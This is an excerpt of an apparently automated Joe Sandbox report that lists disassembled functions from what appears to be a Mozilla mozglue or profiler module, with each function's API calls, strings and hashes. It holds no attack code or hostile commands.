Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 3e2091ab2ee48506b7e173e6807c25f9fbf93286213b150564e0762c02c5d648
Instruction ID: 80762cc74343dcdfa33afdafba417fd7c612970d9ab57930f06ffdbfbf993f13
Opcode Fuzzy Hash: 3e2091ab2ee48506b7e173e6807c25f9fbf93286213b150564e0762c02c5d648
Instruction Fuzzy Hash: 8C313971F043086BCB08CF6DD8916AEBBE6DB99714F15853EE805ABB41EB74D804CB90

Function 6C9BB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9BB127), ref: 6C9BB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9BB4E4

Strings

pid:, xrefs: 6C9BB4DE

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 6d8bfdee00752ec568ad9797f2bd4e25ca6ba81861aae19fad8f62f7669792d2
Instruction ID: 19db4a872ff07b1402e37ccabb8dec66e602556d17b7e1336408d050cbfbac8d
Opcode Fuzzy Hash: 6d8bfdee00752ec568ad9797f2bd4e25ca6ba81861aae19fad8f62f7669792d2
Instruction Fuzzy Hash: 0D310031A01208EBDB10DFA9D880AEFF7BABF19318F540529D90577A81D771E849CBA1

Function 6C9AE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AE577
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AE584
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C9AE5A1, 6C9AE5CC, 6C9AE5FF, 6C9AE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9AE655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9AE722, 6C9AE750, 6C9AE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9AE777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9AE826, 6C9AE850

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3accf483f66443af3c4f630d38eddaf027c1bd309114fed34e19c0abf40bceca
Instruction ID: 78658f2fab0ebc1ad77a058b98bde6b9157aa1217c24c5627b7282b1783d0f4e
Opcode Fuzzy Hash: 3accf483f66443af3c4f630d38eddaf027c1bd309114fed34e19c0abf40bceca
Instruction Fuzzy Hash: 1C117931A08358DFCB419F58D849B6ABBB8FFDD328F210A1AE84547A50E770E905CB95

Function 6C9B0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B0CD5

Part of subcall function 6C99F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C99F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B0D40
free.MOZGLUE ref: 6C9B0DCB

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

free.MOZGLUE ref: 6C9B0DDD
free.MOZGLUE ref: 6C9B0DF2

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 99123d56d1ce58f359ce935a0152bdad80f29a21dfd603066dfe01869a223463
Instruction ID: 8b983bc99712cfc5140259470240842a5327803dd420c5100f7f6785ce15d0c3
Opcode Fuzzy Hash: 99123d56d1ce58f359ce935a0152bdad80f29a21dfd603066dfe01869a223463
Instruction Fuzzy Hash: 764123B1908784ABD320CF29C18039EFBE5BFD8614F119A2EE8D897750D770E444CB92

Function 6C9A0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9A084C
EnterCriticalSection.KERNEL32(?), ref: 6C9A08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9A08BD
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A08D5

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 968a6438335ea0cc2a3ff124d58bdb870da9541ed59ef8f25afd0e41678e30f7
Instruction ID: a813f7b15e1dcc3b9e544009029705fa8cd7c0232341bc12f2e24d0d48c589f0
Opcode Fuzzy Hash: 968a6438335ea0cc2a3ff124d58bdb870da9541ed59ef8f25afd0e41678e30f7
Instruction Fuzzy Hash: 7E21C831B052499BEF44CFA9D844BBE7379FF59708F600568D50AA7A41DF32E8058BD4

Function 6C971720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9717B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9718EE
free.MOZGLUE(?), ref: 6C971911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97194C

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 157cb656d656a33dfd614b44f11aa2c6ea8a4df44b64f29ac36a9c90bf840cfd
Instruction ID: 0c86f08b6a7ee8f3111056b613edbc703d83cce0602e80c73182d795dd26bc6a
Opcode Fuzzy Hash: 157cb656d656a33dfd614b44f11aa2c6ea8a4df44b64f29ac36a9c90bf840cfd
Instruction Fuzzy Hash: 9481DF70A162059FDB18CF68D8A49FEBBB1FF8A310F04456CE809AB754D730E945CBA1

Function 6C985C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C985D40
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C985D67
__aulldiv.LIBCMT ref: 6C985DB4
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C985DED

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 35ac45f7eb5519ca008ed872218e93c53c8c5dd14b324be03229c2c225659e3d
Instruction ID: 3fe2f7f774e6951fc7d19af14216d5c8cc421bf6f0cee3203adabe93b306b5f8
Opcode Fuzzy Hash: 35ac45f7eb5519ca008ed872218e93c53c8c5dd14b324be03229c2c225659e3d
Instruction Fuzzy Hash: 56516172E051598FDF08CF68C854ABEBBB1FF99708F298A1ED811A7751C730A945CB90

Function 6C96CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C96CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C96CF4E

Strings

0, xrefs: 6C96CF30

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 6da283f7a76d8d5b919327a3786961eafe96866f6c0511171e570d5951cd4019
Instruction ID: b66e5c6bad13fad089c54b9c3c27704874458323592a063f4434caad039d07f0
Opcode Fuzzy Hash: 6da283f7a76d8d5b919327a3786961eafe96866f6c0511171e570d5951cd4019
Instruction Fuzzy Hash: 6B512371A042568FCB01CF19C490A9AFBB5EF99300F19859DE8595F791D331ED06CBE0

Function 6C9C77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9C7829

Part of subcall function 6C99CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9631A7), ref: 6C99CC45
Part of subcall function 6C99CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9631A7), ref: 6C99CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9C789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9C78CF

Part of subcall function 6C964DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
Part of subcall function 6C964DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 3ac145d0a82e15d89fdbc3a288ab12455608a5149450bbf0b8ea172577cf0736
Instruction ID: cecb7a913daaa3761154ec008c29e106a4275629ebcb251de418c538bfdfe8ba
Opcode Fuzzy Hash: 3ac145d0a82e15d89fdbc3a288ab12455608a5149450bbf0b8ea172577cf0736
Instruction Fuzzy Hash: 7C419171A047469BD300DF29C48056AFBF4FFEA254F604A6DE4A987680DB30D559CB92

Function 6C9A6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9A82BC,?,?), ref: 6C9A649B

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A64A9

Part of subcall function 6C99FA80: GetCurrentThreadId.KERNEL32 ref: 6C99FA8D
Part of subcall function 6C99FA80: AcquireSRWLockExclusive.KERNEL32(6C9EF448), ref: 6C99FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A653F
free.MOZGLUE(?), ref: 6C9A655A

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: f0d3ab8e1784937207eef3f6994bbbbc24d96fbaa0036f253e7603e89c3ef75d
Instruction ID: 5bb3e00fefdcc33598867a9ff215f6eba394a3981c803a8c44895d20dab470ef
Opcode Fuzzy Hash: f0d3ab8e1784937207eef3f6994bbbbc24d96fbaa0036f253e7603e89c3ef75d
Instruction Fuzzy Hash: 773181B5A047059FD740CF14D88469EBBF4FF98314F10482DE85A97741D730E919CB92

Function 6C99FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?), ref: 6C99FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?), ref: 6C99FFF5
free.MOZGLUE(?,?,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?), ref: 6C9A001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?), ref: 6C9A002A

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 11547ef9570b59b362d869286ef39f70b267abfaabd803ffb6a49534e5d3e3e9
Instruction ID: 9f2a68318919fe606da68b33717f06ac664957a5e69e71c841a9b1f70c56868c
Opcode Fuzzy Hash: 11547ef9570b59b362d869286ef39f70b267abfaabd803ffb6a49534e5d3e3e9
Instruction Fuzzy Hash: 1D210872A002165BD7189E78DC944AFF7BAEB993243290738E526D7780EB30ED1186D1

Function 6C97B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97B4F5
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97B502
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97B542
free.MOZGLUE(?), ref: 6C97B578

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 79d489a35ddba773d0a4f855c95d5e953a08f385e82b22055424942d54ef4dac
Instruction ID: 1ab6b58d286778ffc99e30e480bb00447efd41ddfcb153d2f1ff8fdcebadb254
Opcode Fuzzy Hash: 79d489a35ddba773d0a4f855c95d5e953a08f385e82b22055424942d54ef4dac
Instruction Fuzzy Hash: F411A231909B45C7D7228F29D804765B3B5FFEA318F24570AD84953E01EBB1E1C587A4

Function 6C9A3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C96F20E,?), ref: 6C9A3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C96F20E,00000000,?), ref: 6C9A3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C9A3E0E

Part of subcall function 6C99CC00: GetCurrentProcess.KERNEL32(?,?,6C9631A7), ref: 6C99CC0D
Part of subcall function 6C99CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9631A7), ref: 6C99CC16

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ad472ba168f7cfd12e8830b651220116205bac26859fbe8703c48d815e5eb901
Instruction ID: 54eb3a362eace2290d51837a6783f950f547eaaad3b85e2db00bdf6721694c4b
Opcode Fuzzy Hash: ad472ba168f7cfd12e8830b651220116205bac26859fbe8703c48d815e5eb901
Instruction Fuzzy Hash: 91F082715002087BDB00AB94DC41DAB372CEF6A628F154420FE0917700D635FD2586F7

Function 6C9B20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C99FBD1), ref: 6C9B20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C99FBD1), ref: 6C9B20DA
free.MOZGLUE(00000000,?,6C99FBD1), ref: 6C9B20F1

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: f727e96bf2340e9e46bbd956dc3b1bfecdff492dadf5f65ced6b2d6048f02f7e
Instruction ID: 63094c13328ea731cb51faa8fb938ac23778cf4cab11566e861574b30edb5909
Opcode Fuzzy Hash: f727e96bf2340e9e46bbd956dc3b1bfecdff492dadf5f65ced6b2d6048f02f7e
Instruction Fuzzy Hash: 44E02B31604B14ABC3209F25D80854FB7FDFFAA314B10062AE50AD3B00D775F54A87D9

Function 6C9B85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9B85D3

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9B8725

Strings

map/set<T> too long, xrefs: 6C9B8720

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: ee220da6e311adb3fe5b62392a8fe42f3cb9eca716dd68517d5cccc048428ecd
Instruction ID: cb8f3a64fba9c323e8cdaf06341787a0a935f6576d42b5ba4aaefbe2d8b7717a
Opcode Fuzzy Hash: ee220da6e311adb3fe5b62392a8fe42f3cb9eca716dd68517d5cccc048428ecd
Instruction Fuzzy Hash: 6B5186B4A00646EFC709CF18C084B56BBF1BF5A318F18C19AD8596BB52C334E885CF96

Function 6C96BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C96BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C96BE8F

Strings

0, xrefs: 6C96BE5B

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: af173f5b1869ce60b1e5c0bcd86da1939d093934a404f02f31c75198519e60e7
Instruction ID: 9ec3af14961b9fd0af8e3a3abf004745a32afd623f236c9ccf535832fc5003ae
Opcode Fuzzy Hash: af173f5b1869ce60b1e5c0bcd86da1939d093934a404f02f31c75198519e60e7
Instruction Fuzzy Hash: 6F41E571909745CFD301CF39C491A5BB7F4AF9A348F004A1DF9856BA51E730D954DB82

Function 6C9A3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A3D19
mozalloc_abort.MOZGLUE(?), ref: 6C9A3D6C

Strings

d, xrefs: 6C9A3D58

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 132cb41fea635e89c82f4e0ccfb92eb556bd4b4fe28e476d9ac814cb376bacfb
Instruction ID: 62306ddcb2d6a5cf1be03aefcc77bd02af3a56dd6c2b58df199af77f86c640c7
